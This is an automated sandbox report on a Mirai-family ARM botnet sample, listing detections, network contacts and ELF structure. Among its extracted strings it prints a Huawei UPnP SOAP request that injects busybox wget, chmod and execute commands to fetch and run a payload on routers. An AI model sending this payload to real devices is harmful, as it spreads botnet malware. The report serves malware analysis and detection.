Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
nsharm6.elf

Overview

General Information

Sample name:nsharm6.elf
Analysis ID:1540998
MD5:c0a5405e8abdd09b6e3cc611bec03eec
SHA1:a0883172415779035033477309ec45d3ea0a4372
SHA256:c4d1c3fb3c454c014ae51141cb250595882b9c247862cd72ee1b94189bf144dd
Tags:elfMiraiuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1540998
Start date and time:2024-10-24 11:24:35 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 23s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:nsharm6.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@0/0
  • VT rate limit hit for: nsharm6.elf
Command:/tmp/nsharm6.elf
PID:6215
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • nsharm6.elf (PID: 6215, Parent: 6132, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nsharm6.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
nsharm6.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    nsharm6.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      SourceRuleDescriptionAuthorStrings
      6215.1.00007fa2a4017000.00007fa2a402b000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        6215.1.00007fa2a4017000.00007fa2a402b000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          Process Memory Space: nsharm6.elf PID: 6215JoeSecurity_Mirai_6Yara detected MiraiJoe Security
            No Suricata rule has matched

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: nsharm6.elfAvira: detected
            Source: nsharm6.elfReversingLabs: Detection: 65%
            Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
            Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
            Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
            Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
            Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
            Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
            Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
            Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
            Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
            Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
            Source: nsharm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: nsharm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
            Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
            Source: Initial sampleString containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: ELF static info symbol of initial sample.symtab present: no
            Source: classification engineClassification label: mal72.troj.linELF@0/0@0/0
            Source: /tmp/nsharm6.elf (PID: 6215)Queries kernel information via 'uname': Jump to behavior
            Source: nsharm6.elf, 6215.1.000055ccfe485000.000055ccfe5b3000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
            Source: nsharm6.elf, 6215.1.00007ffc2e7e4000.00007ffc2e805000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/nsharm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nsharm6.elf
            Source: nsharm6.elf, 6215.1.000055ccfe485000.000055ccfe5b3000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
            Source: nsharm6.elf, 6215.1.00007ffc2e7e4000.00007ffc2e805000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
            Source: nsharm6.elf, 6215.1.00007ffc2e7e4000.00007ffc2e805000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: nsharm6.elf, type: SAMPLE
            Source: Yara matchFile source: 6215.1.00007fa2a4017000.00007fa2a402b000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: nsharm6.elf PID: 6215, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: nsharm6.elf, type: SAMPLE
            Source: Yara matchFile source: 6215.1.00007fa2a4017000.00007fa2a402b000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: nsharm6.elf PID: 6215, type: MEMORYSTR
            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery
            Remote ServicesData from Local System1
            Encrypted Channel
            Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
            Application Layer Protocol
            Exfiltration Over BluetoothNetwork Denial of Service
            No configs have been found
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet
            SourceDetectionScannerLabelLink
            nsharm6.elf66%ReversingLabsLinux.Trojan.Mirai
            nsharm6.elf100%AviraEXP/ELF.Mirai.Hua.c
            No Antivirus matches
            No Antivirus matches
            SourceDetectionScannerLabelLink
            http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
            http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe
            No contacted domains info
            NameSourceMaliciousAntivirus DetectionReputation
            http://schemas.xmlsoap.org/soap/encoding/nsharm6.elffalse
            • URL Reputation: safe
            unknown
            http://schemas.xmlsoap.org/soap/envelope/nsharm6.elffalse
            • URL Reputation: safe
            unknown
            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs
            IPDomainCountryFlagASNASN NameMalicious
            109.202.202.202
            unknownSwitzerland
            13030INIT7CHfalse
            91.189.91.43
            unknownUnited Kingdom
            41231CANONICAL-ASGBfalse
            91.189.91.42
            unknownUnited Kingdom
            41231CANONICAL-ASGBfalse
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
            • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
            91.189.91.43boatnet.sh4.elfGet hashmaliciousMiraiBrowse
              BoM00gWx1d.elfGet hashmaliciousUnknownBrowse
                hidakibest.ppc.elfGet hashmaliciousGafgyt, MiraiBrowse
                  boatnet.arm7.elfGet hashmaliciousMiraiBrowse
                    boatnet.arm.elfGet hashmaliciousMiraiBrowse
                      na.elfGet hashmaliciousUnknownBrowse
                        na.elfGet hashmaliciousUnknownBrowse
                          x86_64.elfGet hashmaliciousMirai, MoobotBrowse
                            garm6.elfGet hashmaliciousMiraiBrowse
                              la.bot.arm6.elfGet hashmaliciousUnknownBrowse
                                91.189.91.42boatnet.sh4.elfGet hashmaliciousMiraiBrowse
                                  BoM00gWx1d.elfGet hashmaliciousUnknownBrowse
                                    hidakibest.ppc.elfGet hashmaliciousGafgyt, MiraiBrowse
                                      boatnet.arm7.elfGet hashmaliciousMiraiBrowse
                                        boatnet.arm.elfGet hashmaliciousMiraiBrowse
                                          na.elfGet hashmaliciousUnknownBrowse
                                            na.elfGet hashmaliciousUnknownBrowse
                                              x86_64.elfGet hashmaliciousMirai, MoobotBrowse
                                                bot.m68k.elfGet hashmaliciousMirai, OkiruBrowse
                                                  garm6.elfGet hashmaliciousMiraiBrowse
                                                    No context
                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    CANONICAL-ASGBbotnet.mips.elfGet hashmaliciousUnknownBrowse
                                                    • 185.125.190.26
                                                    boatnet.sh4.elfGet hashmaliciousMiraiBrowse
                                                    • 91.189.91.42
                                                    bot.arm6.elfGet hashmaliciousMirai, OkiruBrowse
                                                    • 185.125.190.26
                                                    na.elfGet hashmaliciousUnknownBrowse
                                                    • 185.125.190.26
                                                    BoM00gWx1d.elfGet hashmaliciousUnknownBrowse
                                                    • 91.189.91.42
                                                    hidakibest.ppc.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                    • 91.189.91.42
                                                    boatnet.arm7.elfGet hashmaliciousMiraiBrowse
                                                    • 91.189.91.42
                                                    boatnet.arm.elfGet hashmaliciousMiraiBrowse
                                                    • 91.189.91.42
                                                    na.elfGet hashmaliciousUnknownBrowse
                                                    • 91.189.91.42
                                                    na.elfGet hashmaliciousUnknownBrowse
                                                    • 91.189.91.42
                                                    CANONICAL-ASGBbotnet.mips.elfGet hashmaliciousUnknownBrowse
                                                    • 185.125.190.26
                                                    boatnet.sh4.elfGet hashmaliciousMiraiBrowse
                                                    • 91.189.91.42
                                                    bot.arm6.elfGet hashmaliciousMirai, OkiruBrowse
                                                    • 185.125.190.26
                                                    na.elfGet hashmaliciousUnknownBrowse
                                                    • 185.125.190.26
                                                    BoM00gWx1d.elfGet hashmaliciousUnknownBrowse
                                                    • 91.189.91.42
                                                    hidakibest.ppc.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                    • 91.189.91.42
                                                    boatnet.arm7.elfGet hashmaliciousMiraiBrowse
                                                    • 91.189.91.42
                                                    boatnet.arm.elfGet hashmaliciousMiraiBrowse
                                                    • 91.189.91.42
                                                    na.elfGet hashmaliciousUnknownBrowse
                                                    • 91.189.91.42
                                                    na.elfGet hashmaliciousUnknownBrowse
                                                    • 91.189.91.42
                                                    INIT7CHboatnet.sh4.elfGet hashmaliciousMiraiBrowse
                                                    • 109.202.202.202
                                                    BoM00gWx1d.elfGet hashmaliciousUnknownBrowse
                                                    • 109.202.202.202
                                                    hidakibest.ppc.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                    • 109.202.202.202
                                                    boatnet.arm7.elfGet hashmaliciousMiraiBrowse
                                                    • 109.202.202.202
                                                    boatnet.arm.elfGet hashmaliciousMiraiBrowse
                                                    • 109.202.202.202
                                                    na.elfGet hashmaliciousUnknownBrowse
                                                    • 109.202.202.202
                                                    na.elfGet hashmaliciousUnknownBrowse
                                                    • 109.202.202.202
                                                    x86_64.elfGet hashmaliciousMirai, MoobotBrowse
                                                    • 109.202.202.202
                                                    bot.m68k.elfGet hashmaliciousMirai, OkiruBrowse
                                                    • 109.202.202.202
                                                    garm6.elfGet hashmaliciousMiraiBrowse
                                                    • 109.202.202.202
                                                    No context
                                                    No context
                                                    No created / dropped files found
                                                    File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                                                    Entropy (8bit):6.119500730479484
                                                    TrID:
                                                    • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                    File name:nsharm6.elf
                                                    File size:83'288 bytes
                                                    MD5:c0a5405e8abdd09b6e3cc611bec03eec
                                                    SHA1:a0883172415779035033477309ec45d3ea0a4372
                                                    SHA256:c4d1c3fb3c454c014ae51141cb250595882b9c247862cd72ee1b94189bf144dd
                                                    SHA512:d35d26ee04d6685f8006dc462e900255860e804954cc0fd4311506009780d43fac365d20c31d81e3c0e7e91f74e5a113c9a4497b25c7cc28bc50d21ee0595b33
                                                    SSDEEP:1536:dUn+GlhKQCHgH858UuyEKTUafcRWQiMZi2R1H1eQu7T25QYd/uL:UgzgH86jjKTUafwR1H1eQuv2WgW
                                                    TLSH:86831956B8819B11D5D112BAFE2E118E3313177CE3DFB3129D20AF24778A96B0E3B915
                                                    File Content Preview:.ELF..............(.....T...4...xC......4. ...(.....................T=..T=...............@...@...@..................Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..C.......@....-.@0....S

                                                    ELF header

                                                    Class:ELF32
                                                    Data:2's complement, little endian
                                                    Version:1 (current)
                                                    Machine:ARM
                                                    Version Number:0x1
                                                    Type:EXEC (Executable file)
                                                    OS/ABI:UNIX - System V
                                                    ABI Version:0
                                                    Entry Point Address:0x8154
                                                    Flags:0x4000002
                                                    ELF Header Size:52
                                                    Program Header Offset:52
                                                    Program Header Size:32
                                                    Number of Program Headers:3
                                                    Section Header Offset:82808
                                                    Section Header Size:40
                                                    Number of Section Headers:12
                                                    Header String Table Index:11
                                                    NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                    NULL0x00x00x00x00x0000
                                                    .initPROGBITS0x80940x940x100x00x6AX004
                                                    .textPROGBITS0x80b00xb00x121dc0x00x6AX0016
                                                    .finiPROGBITS0x1a28c0x1228c0x100x00x6AX004
                                                    .rodataPROGBITS0x1a2a00x122a00x1ab40x00x2A008
                                                    .init_arrayINIT_ARRAY0x240040x140080x40x00x3WA004
                                                    .fini_arrayFINI_ARRAY0x240080x1400c0x40x00x3WA004
                                                    .gotPROGBITS0x240100x140140x740x40x3WA004
                                                    .dataPROGBITS0x240840x140880x2800x00x3WA004
                                                    .bssNOBITS0x243040x143080x53bc0x00x3WA004
                                                    .ARM.attributesARM_ATTRIBUTES0x00x143080x100x00x0001
                                                    .shstrtabSTRTAB0x00x143180x5d0x00x0001
                                                    TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                    LOAD0x00x80000x80000x13d540x13d546.16910x5R E0x8000.init .text .fini .rodata
                                                    LOAD0x140040x240040x240000x3040xd6bc3.83300x6RW 0x8000.init_array .fini_array .got .data .bss
                                                    GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                                    TimestampSource PortDest PortSource IPDest IP
                                                    Oct 24, 2024 11:25:16.958015919 CEST43928443192.168.2.2391.189.91.42
                                                    Oct 24, 2024 11:25:22.333288908 CEST42836443192.168.2.2391.189.91.43
                                                    Oct 24, 2024 11:25:23.868885040 CEST4251680192.168.2.23109.202.202.202
                                                    Oct 24, 2024 11:25:37.179147959 CEST43928443192.168.2.2391.189.91.42
                                                    Oct 24, 2024 11:25:49.465349913 CEST42836443192.168.2.2391.189.91.43
                                                    Oct 24, 2024 11:25:53.560854912 CEST4251680192.168.2.23109.202.202.202
                                                    Oct 24, 2024 11:26:18.133389950 CEST43928443192.168.2.2391.189.91.42

                                                    System Behavior

                                                    Start time (UTC):09:25:17
                                                    Start date (UTC):24/10/2024
                                                    Path:/tmp/nsharm6.elf
                                                    Arguments:/tmp/nsharm6.elf
                                                    File size:4956856 bytes
                                                    MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1